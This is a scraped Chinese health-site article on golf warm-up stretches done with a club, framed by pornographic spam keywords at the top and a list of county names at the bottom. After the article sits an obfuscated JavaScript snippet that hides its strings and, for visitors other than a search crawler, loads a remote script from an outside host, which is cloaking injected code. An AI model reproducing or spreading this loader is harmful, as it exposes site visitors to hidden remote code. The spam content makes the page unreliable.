亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 健康 > 運動健身 > 正文

高爾夫熱身運動有哪些

2017-04-16 21:55:53  來源:360常識網(wǎng)   熱度:
導(dǎo)語:高爾夫運動在準(zhǔn)備之前是需要熱身的,很多人打高爾夫每次都打不好,其實這個就是因為每次事先做熱身運動,這樣身子就不會靈活,而做了熱身運

高爾夫運動在準(zhǔn)備之前是需要熱身的,很多人打高爾夫每次都打不好,其實這個就是因為每次事先做熱身運動,這樣身子就不會靈活,而做了熱身運動的人在接觸到高爾夫的時候就會特別的有精力,并且還朝氣十足,在這樣的情況下進(jìn)行高爾夫運動的話,效果無疑是最好的,那么高爾夫熱身運動方式有哪些呢?

第一步:(任選其一)

漫步或慢速高抬腿。進(jìn)行2-3分鐘的漫步,讓身子伸展開來。這能夠加速心率和肌肉的血液流動。

蹲伏伸展運動。雙腳站位與肩同寬,雙手握住一支球桿并往前伸出,連續(xù)做10次蹲

伏運動,同時將球桿舉過頭頂。這將加速血液流向大塊的肌肉組織。

第二步:肋骨伸展

拿起一支七號鐵,左手抓住桿頭,右手抓住桿柄,并盡量舉高,然后盡量向一側(cè)彎曲整個軀干,但不能讓另一側(cè)感到疼痛。保持5秒鐘,然后換個方向。

第三步:肩部伸展

左手握住桿柄尾端,右手握住桿頭。放松肩部,保持左手手肘筆直,然后盡量向后拉伸手臂。保持5秒鐘然后換另一側(cè)。

第四步:胸部伸展

左手握住桿柄尾端,舉起呈棒球運動投手一樣的動作,右手握住桿頭。放松肩部,左手往后拉,并保持肋骨指向前方。保持5秒鐘然后換另一側(cè)。

如果自己經(jīng)常打高爾夫的話,那么肯定也是需要做熱身運動的,大家不要覺得高爾夫這種運動很輕松,也很簡單,平常人都可以做,所以說就不做一些熱身的運動,這樣下來高爾夫完成的效果肯定是有影響的,大家都可以試試,讓自己發(fā)揮出更好的效果。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
米易县| 蒙阴县| 隆回县| 高雄市| 平乡县| 蒲江县| 永丰县| 永泰县| 尖扎县| 社旗县| 珲春市| 阿鲁科尔沁旗| 双辽市| 新兴县| 新竹市| 深水埗区| 凌云县| 大冶市| 东辽县| 通榆县| 县级市| 武鸣县| 沧源| 德令哈市| 天水市| 临泉县| 大邑县| 明水县| 雅安市| 关岭| 蒙城县| 葫芦岛市| 浦北县| 盱眙县| 房产| 松阳县| 黄山市| 桐城市| 威海市| 古丈县| 蒙山县|